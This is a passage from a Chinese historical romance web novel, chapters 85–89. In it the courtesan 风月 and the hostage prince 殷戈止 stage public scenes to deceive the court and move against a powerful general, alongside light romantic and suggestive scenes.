抱了两坛子酒,风月临走前去了一趟何愁的房间。
何愁坐在镜子前梳妆,镜子里的人眉目温和,娴静端庄。
“姑娘来了?”回头看见她,何愁笑了笑:“见过断弦了吗?”
“见过了,送走了。”风月抿唇:“倒是你,不喜欢在小村子里的宁静日子吗?”
“哪里宁静得了?”何愁低眉:“身子静了,心里也还喧嚣。姑娘,这梦回楼里的人,只有得偿所愿了才能真正自由,你难道不知道吗?”
自然是知道的,风月叹息:“如此,那就祝姑娘得偿所愿,只是,不必太过难为自己。”
微微一笑,何愁起身朝她屈膝:“我明白的。”
有花魁的名头,又躲过了赵府一难的风头,她应该很快会等来自己想等的人。
颔首转身,风月扛着两坛酒头也不回地离开了。
安世冲和徐怀祖正在使臣府里向殷戈止问安。
两人都穿上了护城军带官衔的铠甲,却还是恭恭敬敬地半跪在殷戈止面前行礼。
“近日琐事缠身,没有跟师父请安,还请师父恕罪。”安世冲低头拱手,声音里满是愧疚。
徐怀祖倒是轻松些,跟着他一起拱手之后,又抬脸笑道:“不过这满城风雨的,咱们没带着一身雨水去打湿师父的衣裳,师父该夸我们。”
抬手让他们起来,殷戈止一本正经地道:“既然已经为官,你们该跪的就是这吴国的君主,穿着铠甲不必跪我。”
“可是。”安世冲皱眉:“师徒之礼不可废。”
“那你们就勤快些练功吧。”殷戈止道:
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“穿上这身,不代表你们已经大成,只不过是有天时人和罢了。武艺兵法方面,还要继续精进。”
“是!”
“世冲最近是不是遇见不少麻烦?”看着安世冲,殷戈止道:“安国侯抱病,你新上任,想必找你说话的人不少。”
提起这个,安世冲就垮了脸:“师父英明,徒儿年纪尚幼,忝居护城军统领之职,很多人情往来,实在不太明白。”
很多人托着关系来找他,想让他从牢里捞人出来。开什么玩笑,先不说他能不能捞出来,就算能,那也不可能捞啊!但是要拒绝吧,都是叔叔伯伯的,实在也不知道怎么开口,他已经急得几个晚上没睡好觉了。
“这个好办。”殷戈止道:“我师门规矩甚严,他们没见识过,那就让他们见识见识好了。”
啥意思啊?徐怀祖一脸茫然,安世冲想了一会儿,倒是一拱手,飞快地出去了。
于是,等风月慢悠悠地从梦回楼往使臣府走的时候,就看见长宁街上堵满了人。
“师父!”一声焦急的低喝传来,听着有些耳熟。风月挖了挖耳朵,挤开人群去看了看。
嚯,安世冲穿着一身威风的铠甲,却是把头盔取了,朝前头的殷戈止半跪了下去!
百姓们围成一个圈儿看热闹,议论纷纷。风月眨眼,扯了扯旁边的人的衣袖问:“大哥,发生什么事儿了?”
“你是不知道啊。”旁边的人立马唾沫横飞:“这新上任的护城军统领从大牢里领出来个人,结果在这儿撞上了那个穿白衣裳的书生,不知怎么的那书生就说要赶他出师门,这统领大人就急了,跪下去了。”
哈?风月听得更茫然了,干脆踮起脚尖去自己看。
安世冲低着头,很是不甘地道:“此事并非徒儿想为之,实在是不得已……”
“有何不得已,让你做此辜负圣恩之事?”殷戈止怒斥:“此人分明还要三日才可出狱,你以何提前释放他!”
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第86章 你家主子真难伺候!
“这……”安世冲无奈地道:“只三日而已,徒儿不过提前求了情……”
“是向圣上求的情,还是向关押他的狱卒求的情?”殷戈止冷声道:“是不是一进这官场,为师就管不得你做什么了?”
“不!”安世冲急声道:“一日为师终生为父,师父的话徒儿一直会听!”
“那你把他送回去。”
挣扎和纠结在眼里翻滚,安世冲深吸一口气,哑着嗓子喊了一声:“师父。”
“不送,你就没我这个师父了。”
围观群众基本听清楚了事情的来龙去脉,大概就是护城军统领想了法子把有罪的人提前从牢里带出来了,结果被他家师父发现,拦在了这里,师门规矩森严,不允许徒儿做此等乱纪之事,所以要么这徒儿把人送回去,要么断绝师徒关系。
“这白衣书生看着柔弱,没想到这么有风骨!”刚刚那唾沫横飞的大哥赞叹道:“要是多点这样的人,那何至于官官相护,法只束民呐!”
“嘁,我倒是觉得这书生小题大做了,这样的事暗地里大官们做得不少,真这样被抓着了,也不过是送回去了事,半点罪责也没有的。”
“哎,这书生到底是谁啊?为什么那么大的官都听他的话?”
众说纷纭,风月摸着下巴看了半晌,倒只看出一件事儿来——自从拜在殷戈止门下,安世冲不止功夫长进,这演戏的本事也是深得师父真传啊!瞧那委屈的眼神、沮丧的身影,真是让人看得动容。
“徒儿这就去送。”
挥了挥袖子,殷戈止道:“我能抓你一次,就能抓你第二次,你若是还犯此类错误,那就莫怪为师不留情面。”
“是。”低头应下,安世冲带着人就往回走,背影憔悴、步履沉重。
殷戈止转身,一身正气地往使臣府的方向走。人群四散,议论不绝,消息大概很快会传到安居街里头去。
“大哥哥!”有小孩子从旁边扑出来,直接抱住了殷戈止的腿,抬头道:“大哥哥好厉害啊!水生长大了也想像大哥哥一样,能骂坏人,主持公道!”
软软的小孩子,就这么扑到魔王的脚下,看得风月背后发麻。旁边的妇**概也是畏惧殷戈止那一脸严肃的神色,小心翼翼地想伸手把孩子抱回去。
然而,殷戈止低头,没一脚踹开他,倒是很温柔地道:“那你快点长大。”
“好!水生长大了来找大哥哥!”小孩儿高兴地喊,然后就被自家母亲颤颤巍巍地给拎走了。
殷戈止侧头,看了一眼那孩子,嘴唇微微勾了勾。
“诶?您在笑啊?”旁边的风月震惊了,都忘记了隐藏,直接蹦到了殷戈止面前,伸手戳了戳他的嘴角。
面前这张脸黑了下去,不悦地挥开她的手:“学的规矩都被你吃了?”
缩了缩爪子,风月撇嘴道:“奴家是太惊讶了嘛,从来没见您笑得这么温柔啊,还以为您天生不会笑。”
嗤了一声,殷戈止摇头,越过她继续往前走。
“哎哎,公子,奴家带了酒回来啊。”邀功似的追上去,风月道:“咱们今晚不醉不归!”
“晚上有很多事要做。”殷戈止面无表情地道:“没空陪你瞎胡闹。”
不高兴地鼓嘴,风月扛着酒坛子,恼恨地走在他后头踩他影子,一边踩一边碎碎念:“金妈妈酿的酒,外头都没卖的,可好喝了,叫美人酿。”
“金妈妈也算美人?”
“年轻的时候谁不是美人啊?”风月道:“金妈妈也曾一曲倾王侯,十斛珍珠捧呢!”
懒得同她说这些没用的,殷戈止一脸正经,负手行走,活脱脱像个书院里出来的教书先生,身上绑满了教条和规矩,看得平时围着他尖叫的路人姑娘们都不敢造次了,只远远站着,看着他从前头经过,眼里满是倾慕。
年少无知的姑娘为什么总容易被人的外表骗呢?风月直叹气,低头踩着这人的影子,从长宁街踩到了使臣府,一时都没有注意前头这人放着马车不坐要走路的事情,只觉得踩了个过瘾,心里也舒坦不少。
就是扯着酒坛上绳子的手给勒肿了。
心疼地朝自个儿的手呼气,再抬头看着那进了书房头也不回的人,风月眯眼想了想,嘿嘿一笑。
不勾引人的妓子,不是好妓子!
殷戈止的确是有很多事要做,安世冲这边的戏演罢,所有的压力就转到他身上来了,之后安世冲拒绝人都会以他为借口,所以顺便,他得替他理清关系,斟酌处理。
吴国朝廷如今人心惶惶,众人都怕下一个进大牢的是自己,所以**的人很少,遇见什么矛盾大家也能私下解决。只是,这样的和平大概只能维持一个月。
这一个月,太子必须拿到更多的筹码,不然当真对峙起来,太子会很不好过。
拿了桌上的账本来看,殷戈止吩咐观止:“看紧书房的门,任何人都不要放进来。”
“是!”观止应了,捏着佩刀就站在了门口。
没一会儿,灵殊蹦蹦跳跳地来了,手里端着盘儿炸花生,好奇地看着他:“观止大人,你守在这儿做什么?”
就是为了拦你这种横冲直撞的人啊!观止微笑,低声道:“主子在里头忙,吩咐了任何人不得打扰,所以我在这儿看着。”
“哦……”灵殊点头,又看了看手里的东西:“那他也不要吃花生了吗?刚炸的,很香!”
“主子应该不吃了,你自己吃吧。”
“好。”点点头,灵殊拉着他就在台阶上坐了下来,小手捏了颗花生,天真无邪地就往他嘴里送。
观止脸红了,他知道这丫头什么都不懂,喂他吃东西肯定只是因为她心情好,可是……唉,难得有小姑娘给他吃东西,反正主子的眼睛不能透视,那他吃了也没什么吧?
左右看了看,观止张口就轻轻接了她的炸花生,然后高高兴兴地跟灵殊坐在一起吃了起来。
于是风月很顺利地就从窗户翻进了书房。
殷戈止正看得入神,冷不防觉得旁
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边有人,吓得瞳孔微缩,反手就劈了出去!
“公子。”堪堪躲开这一招,风月扁嘴,眨巴着眼道:“奴家来陪公子看书,您怎么这么凶?”
殷戈止:“……”
转头看看紧闭的大门,又看看旁边大开的窗户,他叹了口气。
观止啊观止,让你看紧门,不是只看紧门,就不能连窗户也一起注意一下?幸好进来的是风月,要是别人,那还了得?
抬眼看向面前的人,殷戈止皱眉:“你想做什么?”
这一身红纱衣倒是许久没见着穿了,脸上又画了狐媚的妆,瞧着就不是来做正经事儿的。
“奴家带的酒,殿下不肯喝,奴家很伤心啊。”嗲声嗲气地坐在他腿上,风月拎了一壶酒在手里,媚眼如丝地道:“来尝尝嘛。”
好整以暇地看着她,殷戈止问:“我要是不尝呢?”
“那奴家喂您。”风月勾唇,仰头就往自个儿嘴里倒酒。
书上是这么画的,在人家怀里仰头喝酒,然后低头妖娆地吻上他,是个男人就得中招!她在客院已经对着镜子练了很久了,动作绝对优美!
但是,她忘记了一点,那就是自个儿嗜酒,太久没喝这酒了,喉咙下意识的反应太强烈,酒一入嘴,“咕嘟”一声就直接咽了下去。
气氛瞬间有点尴尬。
看了看面前这人看傻子一样的眼神,风月干笑两声,立马重新含一口酒,凑到他唇边去。
别开头,殷戈止道:“光天化日,成何体统。”
穿个书生的白衫,还真说起礼义廉耻来了?不知道上次在马车上那啥啥的是谁!总是白日宣淫的又是谁!风月没忍住,朝着房梁翻了个白眼,然后二话不说,直接捏着他的下巴拧回来,狠狠地吻上去!
紫檀木的太师椅很结实,就算殷戈止被她这么大力气地压在椅背上,也没有发出丝毫杂音,倒是面前这人,眼里流露出不悦的神色来,半垂了眼,平静无澜地看着她。
这股子假清高的模样,真是看得人心头火起。风月笑着,眼里透出狠劲儿来,挤开他的牙关,狠狠将酒给他灌下去,伸手抓着他的衣襟,想起他平日里对自己的蹂躏,借着酒就大了胆子,以口还口,以牙还牙!
清冽的酒香萦绕在唇齿之间,殷戈止眼里划过一道光,身子却纹丝不动,任由这人扒开自己的衣裳。嘴得了空,还嘲讽似的道:“想要?”
要你奶奶个腿儿!风月媚笑,伸手想往下,却被他捏住手腕,不得动弹。
眼神交汇,一个冷静如铁,一个柔情似水,暗地里好一阵子拼杀较劲!
但是最后很不幸的,风月败了,被人拢了件儿衣裳,打开门扔了出去。
“呯”地一声落在两个无辜吃花生的人中间,风月惆怅地捏了一颗花生,看着观止道:“你家主子可真是难伺候!”
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第87章 耿直的殷殿下
本来是软软糯糯的灵殊跟他坐着吃花生呢,一眨眼就变成衣衫不整浓妆艳抹的风月,观止吓得脸都青了,一颗花生卡喉咙里,差点没噎死!
背后的门“呯”地一声关上,观止抖了抖,回头看了一眼,瞬间面如死灰:“风月姑娘……”
您啥时候进去的啊?
气愤地拉着身上的衣裳,风月道:“你家主子心情不好啊?送上门的美人都不要,竟然还把我扔出来!”
“……主子在忙事情的时候,一向是不喜欢人打扰的。”观止捂脸:“您何必去找不痛快呢?”
斜着眼睛看了观止一眼,风月伸手搭在他肩上,摸了摸鼻子,很是爷们地指了指天:“这么舒爽的天气,不是该快活快活吗?整天忙着算计别人,偶尔也要休息的啊。”
心虚地将这位姑奶奶的手抬开,观止低头:“姑娘说得有道理。”
撑着下巴想了一会儿,风月问:“观止大人,你说现在要是我掉河里了,你家主子会不会让人救?”
“怎能不救?”观止瞪眼:“我家主子不是那种心狠手辣的人。”
“那要是大冬天,河水冷得刺骨,只有他一个人在我身边,他也会跳下来吗?”
观止一脸茫然:“当然啊,两种情况有什么区别?”
区别可大了,一个是举手之劳,一个是奋不顾身。风月摸着下巴想,观止是很了解殷戈止的人,也就是说,她现在在他那儿已经是很有分量的人了,那么,不搞这些个勾引讨好的伎俩,应该也不会有事。
拍拍手,她松了口气,站起来就往外走:“你俩继续吃吧,我去准备晚膳。”
“是!”灵殊笑着应了,完全不知道发生了什么,继续给观止塞花生。
观止苦着脸,担忧地看着背后那紧闭的门,麻木地嚼着花生。
主子等会儿出来,会不会怪他失职,然后将他给扔出府啊?
使臣府里的日子宁静祥和,还能想这些个鸡毛蒜皮的小事儿,可外头的地方,那就是水深火热,官不聊贪了。
“这可怎么办啊房统领!”护城军副统领黎振羽坐在房家后院,急得头发都要白了:“太子行事如此直接,摆明了是不打算给易将军颜面,咱们这些人都是跟了将军好几年的啊,眼下关的关杀的杀,要是再不想办法,咱俩也难逃这浩劫啊!”
房文心叹息:“所有朝中能说话的言官都想过办法了,但太子把持朝政,殷戈止又持闻风令查得他们证据确凿,已经定下的案子,实在是翻不了。”
“那咱们就什么都不做吗?”黎振羽焦急万分:“毛头小子都在我头上作威作福了,谁知道太子殿下还会做出什么事来?”
“你不用太急。”房文心道:“太子殿下就算要整肃朝纲,却也不能一下子把所有人都换了,顶多是换些重要位置上的人罢了,还殃及不到你我。等大将军传消息回来,必定能保住咱们。”
“好。”黎振羽皱着眉点头,想了想又道:“不过那殷殿下到底是怎么回事?不是一向与大将军亲近吗?怎么会帮太子的忙?”
房文心嗤笑:“这件事很多人想不明白,我却是让人查清楚了,太子殿下不是指了安家徐家两个公子给殷戈止当徒弟吗?徐家公子又不知从哪儿弄了个女人送给殷戈止,虽说那殷殿下还是经常照顾着易大小姐,但这男人啊,就容易为色所迷,有那么个美人儿在身边,哪里还能全心全意护着易家?定然是分了神了。”
“大人的意思是说……”轻轻吸了口气,黎振羽恍然:“太子殿下是处心积虑要拉拢殷殿下,利用他特殊的身份来对付咱们?”
“太子殿下拉拢殷戈止也不是一日两日的事情了。”房文心不悦地道:“只是没想到这回送的女人,当真合了他的心意,真是红颜祸水。殷殿下虽然武力过人,可来吴国一年也没出什么风头,更没插手过任何事情,说明无心参合吴国之事,也没什么算计,被太子殿下一步步套进去,也是情理之中。”
黎振羽点头,不由地叱骂一句:“同样的年岁,太子殿下的心计怎么就那般深沉,专门害
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人!学学人家魏国的皇子,能打仗为人又耿直,所以魏国人才愿意臣服。”
叹息一声,房文心摇头,心里也是差不多的想法。
希望殷殿下能早日看穿太子奸计,清醒过来站在他们这边才好!
为人耿直的殷大皇子正收了手里的毛笔,将印章落在了最后一折案子上。
“这个送去廷尉衙门,收拾得就差不多了。”疲惫地动了动脖子,他道:“易将军动作再快,也不会来得及救他们,全是大罪,能砍的先砍了,不能砍的也都流放出去了。再大半个月,不阴城这大局也就算安定。”
观止兴奋地点头,抱着折子就往外飞奔。
殷戈止侧头,看了一眼外头耀眼的阳光,似乎是想起点什么,眼神微动,起身就出门。
院子里花香盈盈,风月穿着一身红衣,灿烂得跟阳光一样,举着洒水壶从左边蹦到右边,又从右边蹦到左边,一边浇水一边嘀咕:“辛苦你们在冰山周围长着了,别客气,多喝点水。”
背后冷不防地一凉,风月敏锐地眯眼,舌头一转,立马笑道:“能陪在威武无比、玉树临风、顶天立地的殷殿下身边,那是你们的福气啊!要好好珍惜听见了吗!”
嗤笑一声,站在她背后的殷戈止抱着胳膊道:“你当我是聋子还是傻子,已经说出来了的话,还能找补的?”
咧着嘴笑着转身,风月装作什么也没发生的样子,高高兴兴地道:“殿下做完事啦?今儿也是个好天气呢哈哈哈。”
斜她一眼,殷戈止扯了她的手腕拖着人就走。
“殿下?做啥?”看他走的是书房的方向,风月瞪眼:“有话好好说啊,奴婢没做错什么吧?”
一个字也没应他,殷戈止想伸手把她扯进门,哪知道这厮一脚就蹬在了门框上!扯着他气势磅礴地吼:“在吴国不能用私刑的!”
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第88章 美人多娇
回头看了她这动作一眼,殷戈止淡淡地道:“你力气还挺大。”
有点怂地放下了脚,风月扁嘴:“奴婢也很想规矩点,可您别吓唬人啊,这么气势汹汹地带奴婢去,像是要扒了人的皮!”
有这么凶?殷戈止皱眉,低头反省了一下,然后手上用力,跟扯破布似的就把人扯了进来。
门猛地关上,风月抵在上头,闭着眼就说好话:“殿下您英明神武真是美得跟外头的花儿一样!奴婢……”
话没说完,嘴被人堵住了,冰凉的唇瓣含着她的,没一会儿就变得火热。风月睁眼,惊愕地看见面前这人眼里的红色。
完了完了,魔王要**了!
衣裳被扯开,风月倒是没反抗,只是撇撇嘴说了一句:“光天化日,成何体统啊殿下。”
“你造的孽。”张口咬在她耳垂,殷戈止眯眼道:“该你来还。”
她造的孽?风月无语望房梁,如果没记错的话,拿着美人酿勾引他已经是十几天前的事情了,这位殿下的反应是不是也太慢了点?
正想着呢,鼻息间就充斥了美人酿的香味儿,风月眨眼,惊呼了一声。
殷戈止手里拿着酒壶,低头看着她:“喜欢喝这个?”
喜欢啊喜欢啊!眼睛都亮了,风月笑着矜持了一下,然后就抢了他手里的酒壶,仰头就喝。
手搂着她,殷戈止眼神深邃地看着,看着她白皙的脖子,以及咽酒时候微微起伏的喉咙,满意地张开嘴,温柔地咬上去。
“咳。”差点呛着,风月眨眼,感觉自个儿被抱了起来,抱着她的人坐在了太师椅上,她也就被放在了他怀里。
“好喝吗?”殷戈止问。
风月点头,她从梦回楼拿回来的两坛子早就喝完了,今儿正琢磨着再去拿点儿,没想到他这儿竟然有。
喝完了一壶,风月眼前有点起雾,朦朦胧胧地低头问:“您让人去梦回楼拿的?”
“嗯。”接过她的空酒壶,殷戈止伸手就从书桌下头拿出一坛子酒,又给她倒了一壶,塞进她手里:“你不是很喜欢喝吗?”
“是啊,这酒是金妈妈用花酿的,很香。”眯着眼睛笑,风月道:“以前我总是喜欢喝这个,喝不腻,大醉好几天,气得金妈妈把酒藏起来了,可她不知道我鼻子尖,藏哪儿都能闻着味儿找出来。”
看着她又慢慢喝完一壶,殷戈止道:“你酒量不错。”
“那是,上次和太子殿下喝酒,要不是酒量好,我就当真得醉了,说胡话给他听。”嘻嘻笑着,风月媚眼横飞,身子不老实地在他怀里动来动去:“跟太子喝酒可没意思了,他都不喝,就让我喝。”
掐着她腰的手紧了紧,殷戈止沉了眼神:“正经点的姑娘,就不该跟男人喝酒。”
“啥?正经?”风月瞪眼,接着就大笑,饮完最后一口就伸手扯下自己肩头上的衣裳,眨巴眨巴着眼睛,嗲声嗲气地道:“您看奴家是正经的姑娘吗?人家太子给了钱的,奴家难不成喝酒都不陪了?”
眼里陡然生了戾气,殷戈止手上用力,冷声道:“别以为你喝了酒,我就会当你这些是醉话。”
“咯咯咯。”风月笑着低头,任由他掐着自个儿的腰,满是酒味儿的唇吻上他的,好一番辗转厮磨,之后吧砸了一下嘴道:“您嘴唇这么软,说话别这么硬啊,奴家说两句实话,您生什么气?趁着今儿您终于忙完了,不如不醉不归?”
这人……殷戈止皱眉,不知道为什么,他总觉得风月身上有股子野性,别的姑娘都是闺房里养着的,她是不是在山林间跑着长大的?隐隐的,还有股子桀骜不驯的味道。
哪有这样的女人?
正想着呢,衣襟就被她一扯,怀里的人哼唧两声撕开他衣裳,朝着他心口的位置“吭哧”就是一口。
“嘶——”他皱眉,恼怒地起身,拎上这人就往书桌上压。
“你已经被赎身了。”狠狠地捏着她的手,殷戈止道:“以前的事,就莫要再提。”
嗯?风月眨眼,眼里迷离又迷茫,任由这人扯开自己衣裳,半天也没想明白这话说的是什么意思。
不过,书房是个好地方。
灵殊和观止坐在主院门口嗑瓜子,灵殊磕着磕着就感叹道:“你家主子一开始还一直嫌弃我家主子来着,这才几个月啊,咱们居然就住到使臣府来了。”
观止摇头:“我家主子表面上的样子,你还是不信为好。他喜欢什么嫌弃什么,表情看不出来的,只有行动才能证明。”
“嗯?”灵殊一脸懵逼,水灵灵的眼睛里满是不解:“女娲娘娘给咱们这张脸,不就是用来表达正确的想法的吗?你家主子不好好用这张脸,那还要来做什么?”
观止:“……”
说得很有道理的样子。
书房里动静不小,外头两人聊得开心却完全没听见,等到晚上的时候,灵殊去问自家主子晚上吃什么,敲门却是殷殿下开门,表情冷淡地道:“让观止去外头点菜送回来。”
“主子呢?”灵殊好奇地问。
“她在休息。”殷戈止道:“刚有些累坏了。”
单纯天真的灵殊什么也不懂,以为这人又让自家主子干活儿了,连忙道:“大夫说过主子的身子不好,要好生休息的,您别折腾她了。”
身子不好?殷戈止嗤了一声:“你家主子身子好着呢,不用担心。”
那力气,能顶上人家两个姑娘。
担忧地看他一眼,灵殊叹息,转头就去让观止点菜。
风月睡着了,不知道是太累还是酒劲儿上来,睡得格外香甜。殷戈止关上门,回到床边看了看她。
为什么会看上这样一个人?大概是因为……跟多年前的某个人有些像。
说不上具体哪里像,甚至是完全不同的两个人,但给他的感觉有些相似,所以他没忍住,多流连了一会儿。
结果怎么,流连到现在,倒是忘返了。
嘲笑了自己一声,殷戈止摇头。
那人有铁一样硬的骨头,有万分潇洒又古灵精怪的性子,更难得的,是有一身别的女子没有的傲气,不会任他欺负,仿佛与他是平起平坐,不比他低上一头。
他很欣赏那样的傲气,也觉得那样的人难得,若是光天化日之下相见,他也许会跟她过过招,毕竟她也是会武之人,而且看起来,武艺不差。
只可惜了,平昌之战回来,他就再也没有见过她,找遍整个东宫都没见着人。
三年过去了,他遇见过很多跟她相似的女子,纠缠过,沉迷过,最后却都没留在身边。倒只这个风月,分明**毫无半点骨气可言,他却觉得也像。
到底是哪里像呢?
摇摇头,殷戈止觉得自己可能是疯了。
等她该做的事情全部做完,就让她走吧。至于现在……看在她跟人有几分神似的份上,可以对她好点。
这种决定是在人睡着的时候下的,于是风月醒过来的时候,觉得天都变了!
殷戈止竟然不用嫌弃的眼神看她了,虽然脸色还是不太好看,可也算是温柔了不少,尤其还让大夫来给她诊脉,在诊脉之后,还给她准备药膳!
“殿下。”哆哆嗦嗦地拉着他的衣袖,风月可怜巴巴地问:“奴婢是不是得了什么治不好的病了?”
轻蔑地看她一眼,殷戈止道:“祸害遗千年。”
风月:“……”
不阴城开始了连续半个月的艳阳高照天气,风月在殷大皇子伟大光辉的照耀下,先是如惊弓之鸟,后来就习惯了,该吃吃,该睡睡,胆子肥了还敢抢他盘子里的点心吃。
叶御卿来的时候,就正好看见风月坐在殷戈止的怀里砸核桃,遇见砸不开的,她很自然地就递给了身后的人,那人一手拿着书,一手接过她递的核桃,看也没看,捏碎了直接还给她。
于是风月就跟只老鼠似的咔擦咔擦地吃起来。
这场景实在太过让人意外,以至于叶御卿站在主院门口,愣是没敢跨进去。
“殿下?”看见了他,风月笑眯眯地从殷戈止怀里跳下来,行礼道:“不知殿下驾到,失礼了,您这边坐,奴婢给您二位砸核桃!”
殷戈止放下了书,也起身拱手:“殿下请。”
回过神来的叶御卿笑着走进去,在石桌边坐下,看了看他们,道:“本是得了空来瞧瞧二位在做什么,没想到……你们感情不错。”
“哪里哪里。”风月谦虚了一句:“是殿下最近对奴婢很仁慈。”
殷戈止眼皮都没抬,直接问叶御卿:“易大将军那边有反应了?”
“殿下睿智。”叶御卿笑了:“刚得到的消息,北边的战事……败了。”
微微挑眉,殷戈止道:“区区小国残兵败将,能让战无不胜的易大将军不敌?”
“殿下是常年征战沙场之人,胜败的个中缘由,想必比本宫清楚。”叶御卿抿唇:“听闻易大将军受了重伤,正在回国都的路上。”
风月低头砸核桃,努力让这两位大人物忽略自己,心里却是忍不住犯嘀咕。
战场上**百姓坑杀无辜手段阴诡的易大将军,会败给北境小国?那一仗本来就是为着抢功劳去的,吴国兵力人数都是碾压之势,随便换谁来,都不会败。他怕是听见了国都的动静,在边关待不下去了,无故又不得回朝,所以故意战败,以求回来稳定大局吧?
当将军当成这样,可真够无耻的,她以为最快易大将军也还得半个月才有反应,没想到啊没想到,为了保住自己,麾下那么多将士的功勋易国如都可以不要,边境百姓的生死也可以不顾。
这样的人……也配穿那铠甲举那旌旗?
“不知殿下如今,可还深爱易家小姐?”叶御卿看了风月一眼,突然问了一句。
风月回神,看向殷戈止。
太子殿下这话问得委婉,其实也就是在旁敲侧击,看易大将军回来之后,殷戈止会站在哪边。
废话,肯
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定是站在太子这边的,敌人的敌人就是朋友啊。但,先前做的“任易小姐差遣无怨无悔”的表演也不能白演,殷戈止现在的脸上充满了纠结、犹豫、不安。
见状,风月嘴巴一扁,眼泪立马就出来了:“殿下为何不答?您昨晚不是还说,此生最爱乃是奴婢吗?”
嘴角微微抽了抽,殷戈止抬眼看她,很快就融入了剧情,皱眉道:“风月……”
“奴婢不听!”双手捂住耳朵,风月愤怒地道:“您说过君子一言快马一鞭!现在为什么答不上来太子的话?”
“易将军于我有救命之恩。”殷戈止叹息:“要不是他,我会死在战场上,连来吴国为质的机会都没有,你明白吗?”
不管风月明不明白,叶御卿是明白了,恍然道:“原来是这样。”
易国如还救过殷戈止的命?怪不得殷戈止一点也不怪罪他对魏国的所作所为,反而对易掌珠颇为亲近。
那现在情况就复杂了,他很需要殷戈止这个帮手,可殷戈止明显还念着易国如的救命之恩,这可怎么办?
叶御卿皱眉,正为难呢,却听得风月“哇”地一声就哭了出来。
“奴婢不要在使臣府住了!”哭得凄凄惨惨的,风月起身就道:“奴婢讨厌殿下!”
说罢,起身跺脚就往外冲。
有那么一瞬间叶御卿以为自己看见了易掌珠,这场景实在太眼熟了,更眼熟的是,殷戈止想也不想就追了上去,一把抓住她的手腕,痛苦地道:“你别胡闹!”
“奴婢哪里胡闹?!”气得直哭,风月抽抽搭搭地道:“奴婢分明同您说过,与将军府有不共戴天之仇!您不让奴婢记仇,奴婢听了,可您到现在心里还念着易小姐!”
“我不是念着她……”
“那您说,易小姐与奴婢之间,您要哪个?”风月瞪眼,一副无理取闹的样子。
殷戈止头疼地叹息:“选你。”
叶御卿傻了。
风月笑了,得意地朝叶御卿比了个手势,然后抹了抹眼泪,委屈地问:“那您答应奴婢的再也不管将军府的事,真还是不真?”
殷戈止眉头深皱,眼里满是无奈,又带着点宠溺,半晌才道:“真。”
破涕为笑,风月张手就扑到他怀里去,撒娇道:“奴婢就知道,您最好了!”
轻哼一声,殷戈止弹了弹她的脑门,转头略微尴尬地看着叶御卿道:“让殿下见笑了,这丫头最近被宠坏了,任性了些。”
默默地捡回自己的下巴,叶御卿点头:“殿下能觅得知己,本宫也替殿下高兴。”
说着,又看风月一眼。
她的作用能有这么大,他是始料未及的,不过,算是意外之喜。看来女人能祸国,也不是空穴来风,他是没试过被女人左右的滋味儿,这辈子也不打算试了。
还是当一个心狠手辣的太子比较安全。
这边松了口,那叶御卿的话就好说多了,当下便道:“父皇的意思,是想让易将军安心养老,不必再四处奔波,易贵妃年老,膝下无子,也需要人陪伴,他不如多往宫里走走。”
“殿下的意思在下明白。”殷戈止道:“只是,易将军一代枭雄,习惯了金戈铁马,到不一定能安于无波无澜。”
“有牙齿的老虎,想吃肉也是正常。”叶御卿展开扇子,看着上头的山河图道:“不过没了牙齿的老虎,要安生下来,也挺容易。”
殷戈止抬眼:“殿下颇有大志。”
想拔了易国如的牙?那得看他有没有本事收回兵符。
太子殿下笑得胸有成竹:“北境边关十万兵力驻守不回,易大将军带三千人回京,只要他能进这国都,其余的都好说。”
殷戈止垂眸不语,顺手拿了旁边风月砸不开的核桃,捏碎给她。
风月笑道:“多谢殿下。”然后转头把核桃给了叶御卿。
叶御卿正盯着殷戈止看,也没留意风月递的是什么,接过来就捏在了手里。
殷戈止的脸色瞬间就不是很好看了,抬眼看着他道:“只要殿下吩咐,在下都会好生配合,今日时候不早,殿下还是早些回宫,别在外头逗留太久。”
说罢起身,朝他做了个“请”的手势。
太子殿下很茫然,不过想要的态度要到了,还是起身拱手,颇有风度地走出去。
出了使臣府的大门,要上马车的时候,他才想起手里有个东西。打开一看,却是一块核桃仁安静地躺着。
心里一动,叶御卿当街大笑三声,笑不可遏。
“殿下?”冯闯看得莫名其妙,担忧地拱手看着他。
“无妨无妨。”叶御卿摆手:“这江山千秋,在他眼里比不得美人多娇,本宫实在觉得有趣罢了。殷戈止是个不错的人,但可惜,怕是只能在我吴国终老了。”
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第89章 相请不如偶遇
质子在别国终老也不是什么怪事,以魏国现在的实力,殷戈止的确很难回去,冯闯不觉得意外。但他觉得不解的是,殿下为什么会因为这事这么高兴?不是一早就该知道的吗?
上位者的心思,他们这种人是看不透的。扶着太子殿下上车,冯闯也没再多问。
马车缓缓驶远,风月嚼着核桃听着动静,等彻底没声响了,才笑眯眯地侧头看着殷戈止问:“公子,有赏吗?”
伸手拿了核桃仁塞进她嘴里,殷戈止面无表情地道:“赏你。”
“就这个?”张口吃了,她微微不满:“奴家这么配合殿下,殿下**赏,好歹也夸夸奴家啊。”
放下手里的书,殷戈止抬眼看着她问:“你为什么知道我想做什么?”
这颗心也未免太过玲珑,他分明半点没告诉过她对易大将军的想法,她却在太子面前给了他台阶下,细思极恐。
风月眨眼,一脸无辜地道:“您想做的事情不是很明显吗?碍着易小姐不想明面儿上跟易将军作对,可是又不想拂了太子的意思嘛!奴家懂,所以就用奴家做借口好了,易小姐那边,您骗骗就成了。”
竟然是这么想的?殷戈止垂眸,微微舒了口气。
“怎么了?不对吗?”风月疑惑。
“多吃点核桃。”继续拿起书来看,殷戈止道:“核桃补脑。”
风月:“……”
晚上的时候,灵殊买了绿豆糕回来,风月把绿豆糕拿出来给她去吃,然后关上门撕开了包糕点的纸。
“易已近京师,传闻重伤,真实情况不得知。城外有异动,护城军自昨日起选北郊沙场练兵。”
北郊沙场?风月眯眼。
易大将军带兵回朝,那几千士兵定然是要驻扎在北郊外的,这是历来的规矩。但护城军怎么会突然换了练兵场到北郊?虽说也没什么不妥,可易国如向来多疑,此举定然会让他觉得皇室有防他之心,再加上太子最近的举动,怕是……
安世冲不会无缘无故换练兵场,此事殷戈止绝对知情,甚至有可能就是他出的主意。
想干什么?
烧了信纸,风月坐在桌边,撑着下巴想事情,没想一会儿,外头的灵殊就着急地推门进来道:“主子,梦回楼出事啦!”
浑身一凛,她回头,皱眉问:“出什么事了?”
“何愁姑娘冒犯了个恩客,那恩客似乎颇有些权势,直接要抓何愁姑娘见官!金妈妈让人来传信,问您能不能想想办法。”
何愁?心里跳了跳,风月连忙提着裙子往外走。
“想去哪儿?”经过回廊的时候,旁边响起个不悦的声音。
